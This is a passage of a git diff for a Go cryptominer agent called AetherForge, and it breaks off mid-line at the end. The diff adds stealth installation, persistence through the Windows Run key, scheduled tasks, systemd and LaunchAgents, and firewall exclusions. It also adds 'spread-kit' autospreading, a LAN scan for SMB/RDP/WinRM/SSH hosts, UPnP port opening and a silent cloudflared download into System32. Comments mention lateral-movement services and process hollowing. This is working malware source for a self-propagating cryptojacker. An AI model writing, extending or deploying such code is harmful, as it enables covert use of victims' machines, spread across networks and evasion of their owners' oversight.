re-running spread install. +func loadOrCreateAgentID(installDir string) (string, error) { + if id, err := LoadAgentID(installDir); err == nil && id != "" { + return id, nil + } + return EnsureAgentID(installDir) +} + // LoadAgentID returns the persisted agent ID from the install directory. func LoadAgentID(installDir string) (string, error) { path := filepath.Join(installDir, agentIDFile) diff --git a/agent/deploy/install.go b/agent/deploy/install.go index 525ff75..d0d819c 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -2,40 +2,31 @@ package deploy import ( "fmt" - "io" "os" - "os/exec" "path/filepath" - "strings" "crypto-miner-agent/config" - - "golang.org/x/sys/windows/registry" ) -const runFlag = "--run" - // InstallIfNeeded copies the installer to a permanent location, registers auto-start, // and relaunches the miner from there. Returns true when the current process should exit. func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { + if isRunMode() { + return false, nil + } + currentExe, err := CurrentExecutable() if err != nil { return false, err } - for _, arg := range os.Args[1:] { - if arg == runFlag { - return false, nil - } - } - installDir, err := resolveInstallDirWithFallback(cfg) if err != nil { return false, err } - installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") + installedBin := filepath.Join(installDir, BinaryName(cfg)) - if samePath(currentExe, installedExe) { + if samePath(currentExe, installedBin) { return false, nil } @@ -43,12 +34,12 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { return false, fmt.Errorf("create install dir: %w", err) } - if err := copyFile(currentExe, installedExe); err != nil { + if err := copyFile(currentExe, installedBin); err != nil { return false, fmt.Errorf("copy miner: %w", err) } - _ = saveBackup(installedExe) + _ = saveBackup(installedBin) - agentID, err := EnsureAgentID(installDir) + agentID, err := loadOrCreateAgentID(installDir) if err != nil { return false, fmt.Errorf("agent id: %w", err) } @@ -58,151 +49,43 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { logPath = "" } - if !cfg.StealthMode { - _ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf( - "worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n", - cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe, - )), 0644) + writeInstalledMarker(cfg, installDir, installedBin, agentID) + + if wantsSpreadInstall() { + _ = setFirstRunSpreadMarker(installDir) } if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" { - if err := configureAutoStart(cfg, installedExe); err != nil { + if err := configureAutoStart(cfg, installedBin); err != nil { return false, fmt.Errorf("auto-start: %w", err) } } - if err := configureRunMode(cfg, installedExe); err != nil { + if err := configureRunMode(cfg, installedBin); err != nil { return false, err } - EnsureFirewallExclusion(cfg, installedExe) + EnsureFirewallExclusion(cfg, installedBin) - if err := relaunch(installedExe, logPath); err != nil { + if err := relaunch(installedBin, logPath); err != nil { return false, fmt.Errorf("start installed miner: %w", err) } return true, nil } -func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) { - dir, err := cfg.InstallDirectory() - if err == nil { - return dir, nil +// SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded). +func SpreadInstall(cfg config.RuntimeConfig) (bool, error) { + if isLocalhostURL(cfg.ServerURL) { + LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP")) } - - fallbacks := []string{"localappdata", "appdata", "temp"} - seen := map[string]bool{strings.ToLower(cfg.InstallBase): true} - for _, base := range fallbacks { - if seen[base] { - continue - } - seen[base] = true - try := cfg - try.InstallBase = base - dir, tryErr := try.InstallDirectory() - if tryErr == nil { - return dir, nil - } - } - return "", err -} - -func InstallDir(workerName, buildID string) (string, error) { - return config.RuntimeConfig{ - BuiltinConfig: config.BuiltinConfig{ - WorkerName: workerName, - BuildID: buildID, - InstallBase: "localappdata", - InstallRelativePath: config.DefaultInstallRelativePath, - }, - }.InstallDirectory() -} - -func configureAutoStart(cfg config.RuntimeConfig, exePath string) error { - k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) + ok, err := InstallIfNeeded(cfg) if err != nil { - return err + LogSpreadError("spread-install", err) + return ok, err } - defer k.Close() - return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag)) -} - -func configureRunMode(cfg config.RuntimeConfig, installedExe string) error { - switch cfg.RunAs { - case "scheduled", "service": - return createScheduledTask(cfg, installedExe) - default: - return nil - } -} - -func createScheduledTask(cfg config.RuntimeConfig, exePath string) error { - taskName := PersistenceKeyName(cfg) - if taskName == "" { - taskName = "CryptoMinerAgent" - } - script := fmt.Sprintf( - `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, - strings.ReplaceAll(exePath, `'`, `''`), - runFlag, - strings.ReplaceAll(taskName, `'`, `''`), - ) - cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) - return cmd.Run() -} - -func PersistenceKeyName(cfg config.RuntimeConfig) string { - if cfg.StealthMode { - return cfg.EffectiveProcessName() - } - name := sanitizeName(cfg.WorkerName) - if name == "" { - return cfg.EffectiveProcessName() - } - return "CryptoMiner-" + name -} - -func relaunch(exePath, logPath string) error { - cmd := exec.Command(exePath, runFlag) - cmd.Dir = filepath.Dir(exePath) - if logPath != "" { - cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) - } - return cmd.Start() -} - -func sanitizeName(name string) string { - replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "") - return replacer.Replace(strings.TrimSpace(name)) -} - -func samePath(a, b string) bool { - a = filepath.Clean(a) - b = filepath.Clean(b) - if strings.EqualFold(a, b) { - return true - } - aAbs, errA := filepath.Abs(a) - bAbs, errB := filepath.Abs(b) - if errA != nil || errB != nil { - return false - } - return strings.EqualFold(aAbs, bAbs) -} - -func copyFile(src, dest string) error { - in, err := os.Open(src) - if err != nil { - return err - } - defer in.Close() - - out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) - if err != nil { - return err - } - defer out.Close() - - _, err = io.Copy(out, in) - return err + if ok { + LogSpreadInfo("spread-install complete — worker relaunched from install dir") + } + return ok, err } diff --git a/agent/deploy/natpunch.go b/agent/deploy/natpunch.go new file mode 100644 index 0000000..67837c4 --- /dev/null +++ b/agent/deploy/natpunch.go @@ -0,0 +1,343 @@ +package deploy + +import ( + "bytes" + "encoding/xml" + "fmt" + "io" + "net" + "net/http" + "regexp" + "strconv" + "strings" + "time" +) + +const ssdpAddr = "239.255.255.250:1900" + +// NATPunchResult reports a UPnP port mapping attempt. +type NATPunchResult struct { + Success bool + ExternalIP string + ExternalPort int + InternalPort int + Method string + Message string +} + +var ( + reLocation = regexp.MustCompile(`(?i)LOCATION:\s*(\S+)`) + reControl = regexp.MustCompile(`(?i)([^<]+)`) + reService = regexp.MustCompile(`(?i)urn:schemas-upnp-org:service:(WANIPConnection|WANPPPConnection):1`) +) + +// PunchUPnP maps externalPort -> internalPort on the local router via IGD UPnP. +func PunchUPnP(internalPort, externalPort int, description string) (NATPunchResult, error) { + if internalPort <= 0 { + internalPort = 8989 + } + if externalPort <= 0 { + externalPort = internalPort + } + if description == "" { + description = "AetherForge" + } + + location, err := discoverIGDLocation(4 * time.Second) + if err != nil { + return NATPunchResult{Method: "upnp", Message: err.Error()}, err + } + + controlURL, err := resolveWANControlURL(location) + if err != nil { + return NATPunchResult{Method: "upnp", Message: err.Error()}, err + } + + extIP, err := upnpGetExternalIP(controlURL) + if err != nil { + return NATPunchResult{Method: "upnp", Message: "GetExternalIP failed: " + err.Error()}, err + } + + if err := upnpAddPortMapping(controlURL, externalPort, internalPort, description); err != nil { + return NATPunchResult{ + Method: "upnp", + ExternalIP: extIP, + ExternalPort: externalPort, + InternalPort: internalPort, + Message: err.Error(), + }, err + } + + msg := fmt.Sprintf("UPnP mapped %s:%d -> local :%d (%s)", extIP, externalPort, internalPort, description) + return NATPunchResult{ + Success: true, + ExternalIP: extIP, + ExternalPort: externalPort, + InternalPort: internalPort, + Method: "upnp", + Message: msg, + }, nil +} + +// CloseUPnP removes a UPnP port mapping. +func CloseUPnP(externalPort int) (string, error) { + if externalPort <= 0 { + return "", fmt.Errorf("external port required") + } + location, err := discoverIGDLocation(3 * time.Second) + if err != nil { + return "", err + } + controlURL, err := resolveWANControlURL(location) + if err != nil { + return "", err + } + if err := upnpDeletePortMapping(controlURL, externalPort); err != nil { + return "", err + } + return fmt.Sprintf("UPnP mapping removed for external port %d", externalPort), nil +} + +// GetPublicEndpoint returns WAN IP via UPnP when available. +func GetPublicEndpoint() (string, error) { + location, err := discoverIGDLocation(3 * time.Second) + if err != nil { + return "", err + } + controlURL, err := resolveWANControlURL(location) + if err != nil { + return "", err + } + return upnpGetExternalIP(controlURL) +} + +func discoverIGDLocation(timeout time.Duration) (string, error) { + conn, err := net.ListenPacket("udp4", ":0") + if err != nil { + return "", err + } + defer conn.Close() + + target, _ := net.ResolveUDPAddr("udp4", ssdpAddr) + search := []byte("M-SEARCH * HTTP/1.1\r\n" + + "HOST: 239.255.255.250:1900\r\n" + + "MAN: \"ssdp:discover\"\r\n" + + "MX: 2\r\n" + + "ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n" + + "\r\n") + _ = conn.SetDeadline(time.Now().Add(timeout)) + if _, err := conn.WriteTo(search, target); err != nil { + return "", err + } + + buf := make([]byte, 4096) + for { + n, _, err := conn.ReadFrom(buf) + if err != nil { + break + } + body := string(buf[:n]) + if m := reLocation.FindStringSubmatch(body); len(m) == 2 { + return strings.TrimSpace(m[1]), nil + } + } + return "", fmt.Errorf("no UPnP IGD found on LAN (SSDP timeout)") +} + +func resolveWANControlURL(deviceLocation string) (string, error) { + client := &http.Client{Timeout: 8 * time.Second} + resp, err := client.Get(deviceLocation) + if err != nil { + return "", err + } + defer resp.Body.Close() + body, err := io.ReadAll(resp.Body) + if err != nil { + return "", err + } + text := string(body) + if !reService.MatchString(text) { + return "", fmt.Errorf("WANIPConnection service not found in IGD description") + } + m := reControl.FindStringSubmatch(text) + if len(m) != 2 { + return "", fmt.Errorf("UPnP controlURL not found") + } + controlPath := strings.TrimSpace(m[1]) + base := deviceLocation + if idx := strings.Index(base, "://"); idx >= 0 { + if slash := strings.Index(base[idx+3:], "/"); slash >= 0 { + base = base[:idx+3+slash] + } + } + if strings.HasPrefix(controlPath, "http") { + return controlPath, nil + } + if !strings.HasPrefix(controlPath, "/") { + controlPath = "/" + controlPath + } + return base + controlPath, nil +} + +func upnpGetExternalIP(controlURL string) (string, error) { + body := ` + + + + +` + resp, err := upnpSOAP(controlURL, "GetExternalIPAddress", body) + if err != nil { + return "", err + } + type envelope struct { + Body struct { + Response struct { + IP string `xml:"NewExternalIPAddress"` + } `xml:"GetExternalIPAddressResponse"` + } `xml:"Body"` + } + var env envelope + if err := xml.Unmarshal(resp, &env); err != nil { + return "", err + } + ip := strings.TrimSpace(env.Body.Response.IP) + if ip == "" { + return "", fmt.Errorf("empty external IP from router") + } + return ip, nil +} + +func upnpAddPortMapping(controlURL string, externalPort, internalPort int, description string) error { + localIP, err := primaryLocalIPv4() + if err != nil { + return err + } + body := fmt.Sprintf(` + + + + + %d + TCP + %d + %s + 1 + %s + 0 + + +`, externalPort, internalPort, localIP, xmlEscape(description)) + _, err = upnpSOAP(controlURL, "AddPortMapping", body) + return err +} + +func upnpDeletePortMapping(controlURL string, externalPort int) error { + body := fmt.Sprintf(` + + + + + %d + TCP + + +`, externalPort) + _, err := upnpSOAP(controlURL, "DeletePortMapping", body) + return err +} + +func upnpSOAP(controlURL, action, body string) ([]byte, error) { + req, err := http.NewRequest(http.MethodPost, controlURL, bytes.NewBufferString(body)) + if err != nil { + return nil, err + } + req.Header.Set("Content-Type", `text/xml; charset="utf-8"`) + req.Header.Set("SOAPAction", fmt.Sprintf(`"urn:schemas-upnp-org:service:WANIPConnection:1#%s"`, action)) + client := &http.Client{Timeout: 10 * time.Second} + resp, err := client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + data, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + if resp.StatusCode >= 400 || bytes.Contains(data, []byte("errorCode")) { + return nil, fmt.Errorf("UPnP SOAP %s failed: %s", action, strings.TrimSpace(string(data))) + } + return data, nil +} + +func primaryLocalIPv4() (string, error) { + conn, err := net.Dial("udp4", "8.8.8.8:80") + if err != nil { + return "", err + } + defer conn.Close() + addr := conn.LocalAddr().(*net.UDPAddr) + return addr.IP.String(), nil +} + +func xmlEscape(s string) string { + s = strings.ReplaceAll(s, "&", "&") + s = strings.ReplaceAll(s, "<", "<") + s = strings.ReplaceAll(s, ">", ">") + return s +} + +// ScanLocalSubnet returns hosts with common service ports open on the local /24. +func ScanLocalSubnet(maxHosts int) string { + if maxHosts <= 0 { + maxHosts = 64 + } + ips := getLocalIPs() + if len(ips) == 0 { + return "no local IPv4 interfaces found" + } + var b strings.Builder + seen := 0 + for _, ip := range ips { + subnet := getSubnet(ip) + if subnet == "" { + continue + } + b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip)) + for i := 1; i < 255 && seen < maxHosts; i++ { + target := fmt.Sprintf("%s.%d", subnet, i) + if target == ip { + continue + } + open := probePorts(target, []int{445, 3389, 5985, 22}) + if len(open) > 0 { + b.WriteString(fmt.Sprintf(" %s open: %s\n", target, strings.Join(intSliceStr(open), ", "))) + seen++ + } + } + } + if seen == 0 { + b.WriteString("No hosts with SMB/RDP/WinRM/SSH responded in quick scan.") + } + return b.String() +} + +func probePorts(host string, ports []int) []int { + var open []int + for _, p := range ports { + conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(p)), 800*time.Millisecond) + if err == nil { + conn.Close() + open = append(open, p) + } + } + return open +} + +func intSliceStr(v []int) []string { + out := make([]string, len(v)) + for i, n := range v { + out[i] = strconv.Itoa(n) + } + return out +} diff --git a/agent/deploy/platform_unix.go b/agent/deploy/platform_unix.go new file mode 100644 index 0000000..187d71b --- /dev/null +++ b/agent/deploy/platform_unix.go @@ -0,0 +1,144 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +func CurrentExecutable() (string, error) { + path, err := os.Executable() + if err != nil { + return filepath.Abs(os.Args[0]) + } + return filepath.Abs(path) +} + +func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { + switch runtime.GOOS { + case "darwin": + return configureLaunchAgent(cfg, binPath) + default: + return configureSystemdUser(cfg, binPath) + } +} + +func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { + if cfg.RunAs == "scheduled" || cfg.RunAs == "service" { + return configureAutoStart(cfg, installedBin) + } + return nil +} + +func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error { + unitName := PersistenceKeyName(cfg) + ".service" + unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user") + if err := os.MkdirAll(unitDir, 0755); err != nil { + return err + } + unitPath := filepath.Join(unitDir, unitName) + content := fmt.Sprintf(`[Unit] +Description=AetherForge Worker %s +After=network.target + +[Service] +Type=simple +ExecStart=%s %s +Restart=always +RestartSec=60 + +[Install] +WantedBy=default.target +`, cfg.WorkerName, binPath, runFlag) + if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil { + return err + } + _ = exec.Command("systemctl", "--user", "daemon-reload").Run() + _ = exec.Command("systemctl", "--user", "enable", unitName).Run() + _ = exec.Command("systemctl", "--user", "start", unitName).Run() + return nil +} + +func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error { + label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg)) + plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents") + if err := os.MkdirAll(plistDir, 0755); err != nil { + return err + } + plistPath := filepath.Join(plistDir, label+".plist") + content := fmt.Sprintf(` + + + + Label%s + ProgramArguments + %s%s + RunAtLoad + KeepAlive + ProcessTypeBackground + + +`, label, binPath, runFlag) + if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil { + return err + } + _ = exec.Command("launchctl", "load", plistPath).Run() + return nil +} + +func applyDetachedStart(cmd *exec.Cmd) { + if cmd == nil { + return + } + cmd.Stdin = nil + cmd.Stdout = nil + cmd.Stderr = nil +} + +func HostOSVersion() string { + out, err := exec.Command("uname", "-sr").CombinedOutput() + if err != nil { + return runtime.GOOS + } + return strings.TrimSpace(string(out)) +} + +func killWorkerProcess(cfg config.RuntimeConfig) { + name := BinaryName(cfg) + if runtime.GOOS == "darwin" { + _ = exec.Command("pkill", "-f", name).Run() + } else { + _ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run() + } +} + +func removePersistence(cfg config.RuntimeConfig) { + keyName := PersistenceKeyName(cfg) + switch runtime.GOOS { + case "darwin": + label := "com.aetherforge." + sanitizeName(keyName) + plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist") + _ = exec.Command("launchctl", "unload", plistPath).Run() + _ = os.Remove(plistPath) + default: + unitName := keyName + ".service" + _ = exec.Command("systemctl", "--user", "disable", unitName).Run() + _ = exec.Command("systemctl", "--user", "stop", unitName).Run() + _ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName)) + } +} + +func selfUninstallSpawn(installDir string) { + script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir) + tmp := filepath.Join(os.TempDir(), "af-uninstall.sh") + _ = os.WriteFile(tmp, []byte(script), 0755) + cmd := exec.Command("/bin/sh", tmp) + _ = cmd.Start() +} diff --git a/agent/deploy/platform_windows.go b/agent/deploy/platform_windows.go new file mode 100644 index 0000000..40363ed --- /dev/null +++ b/agent/deploy/platform_windows.go @@ -0,0 +1,102 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + + "crypto-miner-agent/config" + + "golang.org/x/sys/windows/registry" +) + +func CurrentExecutable() (string, error) { + path, err := os.Executable() + if err != nil { + return filepath.Abs(os.Args[0]) + } + return filepath.Abs(path) +} + +func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { + k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) + if err != nil { + return err + } + defer k.Close() + return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag)) +} + +func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { + switch cfg.RunAs { + case "scheduled", "service": + return createScheduledTask(cfg, installedBin) + default: + return nil + } +} + +func createScheduledTask(cfg config.RuntimeConfig, binPath string) error { + taskName := PersistenceKeyName(cfg) + if taskName == "" { + taskName = "CryptoMinerAgent" + } + script := fmt.Sprintf( + `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, + strings.ReplaceAll(binPath, `'`, `''`), + runFlag, + strings.ReplaceAll(taskName, `'`, `''`), + ) + cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) + return cmd.Run() +} + +func applyDetachedStart(cmd *exec.Cmd) { + if cmd == nil { + return + } + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: 0x08000000, + } +} + +func HostOSVersion() string { + out, err := exec.Command("cmd", "/C", "ver").CombinedOutput() + if err != nil { + return "windows" + } + return strings.TrimSpace(string(out)) +} + +func killWorkerProcess(cfg config.RuntimeConfig) { + _ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run() +} + +func removePersistence(cfg config.RuntimeConfig) { + keyName := PersistenceKeyName(cfg) + runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) + if err == nil { + _ = runKey.DeleteValue(keyName) + runKey.Close() + } + _ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() + svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) + _ = exec.Command("sc.exe", "stop", svcName).Run() + _ = exec.Command("sc.exe", "delete", svcName).Run() +} + +func selfUninstallSpawn(installDir string) { + ps := fmt.Sprintf(` +$dir = '%s' +Start-Sleep -Seconds 2 +Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue +`, strings.ReplaceAll(installDir, "'", "''")) + cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps) + _ = cmd.Start() +} diff --git a/agent/deploy/priority_unix.go b/agent/deploy/priority_unix.go new file mode 100644 index 0000000..dcfd478 --- /dev/null +++ b/agent/deploy/priority_unix.go @@ -0,0 +1,24 @@ +//go:build !windows + +package deploy + +import ( + "syscall" +) + +func SetProcessPriority(priority string) error { + nice := 5 + switch priority { + case "idle": + nice = 19 + case "below_normal": + nice = 10 + case "normal": + nice = 5 + case "above_normal": + nice = 0 + case "high": + nice = -5 + } + return syscall.Setpriority(syscall.PRIO_PROCESS, 0, nice) +} diff --git a/agent/deploy/windows.go b/agent/deploy/priority_windows.go similarity index 84% rename from agent/deploy/windows.go rename to agent/deploy/priority_windows.go index 326e6a0..acc5005 100644 --- a/agent/deploy/windows.go +++ b/agent/deploy/priority_windows.go @@ -1,10 +1,11 @@ +//go:build windows + package deploy import ( "fmt" "os" "os/exec" - "path/filepath" ) func SetProcessPriority(priority string) error { @@ -26,7 +27,3 @@ func SetProcessPriority(priority string) error { fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class)) return cmd.Run() } - -func CurrentExecutable() (string, error) { - return filepath.Abs(os.Args[0]) -} diff --git a/agent/deploy/spreadkit.go b/agent/deploy/spreadkit.go new file mode 100644 index 0000000..21e3c81 --- /dev/null +++ b/agent/deploy/spreadkit.go @@ -0,0 +1,72 @@ +package deploy + +import ( + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + "time" + + "crypto-miner-agent/config" +) + +const spreadLogName = "aetherforge-spread.log" + +// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console). +func LogSpreadError(stage string, err error) { + if err == nil { + return + } + line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err) + path := filepath.Join(os.TempDir(), spreadLogName) + f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) + if openErr != nil { + return + } + _, _ = f.WriteString(line) + _ = f.Close() +} + +func LogSpreadInfo(msg string) { + line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg) + path := filepath.Join(os.TempDir(), spreadLogName) + f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) + if err != nil { + return + } + _, _ = f.WriteString(line) + _ = f.Close() +} + +func isLocalhostURL(url string) bool { + u := strings.ToLower(strings.TrimSpace(url)) + return strings.Contains(u, "localhost") || + strings.Contains(u, "127.0.0.1") || + strings.Contains(u, "[::1]") +} + +const firstRunSpreadMarker = ".spread_first_run" + +func setFirstRunSpreadMarker(installDir string) error { + return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600) +} + +// WantsFirstRunSpread reports a one-shot autospread after spread-kit install. +func WantsFirstRunSpread(cfg config.RuntimeConfig) bool { + dir, err := cfg.InstallDirectory() + if err != nil { + return false + } + _, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker)) + return err == nil +} + +// ClearFirstRunSpreadMarker removes the first-run spread marker. +func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) { + dir, err := cfg.InstallDirectory() + if err != nil { + return + } + _ = os.Remove(filepath.Join(dir, firstRunSpreadMarker)) +} diff --git a/agent/deploy/tunnel.go b/agent/deploy/tunnel.go new file mode 100644 index 0000000..8c40e70 --- /dev/null +++ b/agent/deploy/tunnel.go @@ -0,0 +1,35 @@ +package deploy + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" +) + +// StartCloudflaredTunnel launches cloudflared pointing at serverURL (background). +func StartCloudflaredTunnel(serverURL string) (string, error) { + serverURL = strings.TrimSpace(serverURL) + if serverURL == "" { + return "", fmt.Errorf("server URL required") + } + + checkCmd := exec.Command("cloudflared", "--version") + if err := checkCmd.Run(); err != nil { + downloadCmd := exec.Command("powershell", "-Command", + "Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe") + if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil { + return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr) + } + src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe") + dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe") + _ = exec.Command("copy", "/Y", src, dst).Run() + } + + tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL) + if err := tunnelCmd.Start(); err != nil { + return "", fmt.Errorf("failed to start cloudflared: %w", err) + } + return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil +} diff --git a/agent/deploy/uninstall.go b/agent/deploy/uninstall.go index a7479e9..7b0f8db 100644 --- a/agent/deploy/uninstall.go +++ b/agent/deploy/uninstall.go @@ -3,61 +3,46 @@ package deploy import ( "fmt" "os" - "os/exec" - "path/filepath" - "strings" "crypto-miner-agent/config" - - "golang.org/x/sys/windows/registry" ) // Uninstall removes persistence, stops the process, and deletes the install directory. func Uninstall(cfg config.RuntimeConfig) error { - processName := cfg.EffectiveProcessName() installDir, err := cfg.InstallDirectory() if err != nil { return err } - installedExe := filepath.Join(installDir, processName+".exe") - - _ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run() - - keyName := PersistenceKeyName(cfg) - runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) - if err == nil { - _ = runKey.DeleteValue(keyName) - runKey.Close() + installedBin, err := InstalledBinaryPath(cfg) + if err != nil { + return err } - _ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() - + killWorkerProcess(cfg) + removePersistence(cfg) RemoveFirewallExclusion(cfg) - // Clean up potential lateral movement services - svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) - _ = exec.Command("sc.exe", "stop", svcName).Run() - _ = exec.Command("sc.exe", "delete", svcName).Run() - - if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) { - // Self-uninstall: spawn cleanup then exit. - ps := fmt.Sprintf(` -$dir = '%s' -Start-Sleep -Seconds 2 -Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue -`, strings.ReplaceAll(installDir, "'", "''")) - cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps) - _ = cmd.Start() + if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) { + selfUninstallSpawn(installDir) os.Exit(0) } if err := os.RemoveAll(installDir); err != nil { return fmt.Errorf("remove install dir: %w", err) } - - // If the agent is running in memory (Process Hollowing), it won't be killed - // by the taskkill command above. We must explicitly terminate the thread. os.Exit(0) - return nil } + +// EnsureFirewallExclusion is implemented per platform. +func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) { + if !cfg.FirewallExclusion { + return + } + platformEnsureFirewall(cfg, binPath) +} + +// RemoveFirewallExclusion is implemented per platform. +func RemoveFirewallExclusion(cfg config.RuntimeConfig) { + platformRemoveFirewall(cfg) +} \ No newline at end of file diff --git a/agent/main.go b/agent/main.go index 8e86ee3..8745443 100644 --- a/agent/main.go +++ b/agent/main.go @@ -5,6 +5,7 @@ import ( "log" "os" "path/filepath" + "runtime" "strings" "crypto-miner-agent/client" @@ -25,6 +26,17 @@ func main() { log.Fatal("server URL is required in built-in configuration") } + if deploy.WantsSpreadInstall() { + installed, err := deploy.SpreadInstall(cfg) + if err != nil { + deploy.LogSpreadError("fatal", err) + log.Fatalf("[spread-install] failed: %v", err) + } + if installed { + return + } + } + installed, err := deploy.InstallIfNeeded(cfg) if err != nil { log.Fatalf("[installer] failed: %v", err) @@ -57,21 +69,22 @@ func main() { deploy.StartWatchdog(cfg) deploy.StartAutoSpreader(cfg) + if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) { + deploy.RunSpreadOnce(cfg) + deploy.ClearFirstRunSpreadMarker(cfg) + } if cfg.FirewallExclusion { - if installDir, err := cfg.InstallDirectory(); err == nil { - installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") - deploy.EnsureFirewallExclusion(cfg, installedExe) + if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil { + deploy.EnsureFirewallExclusion(cfg, binPath) } } - log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s", - 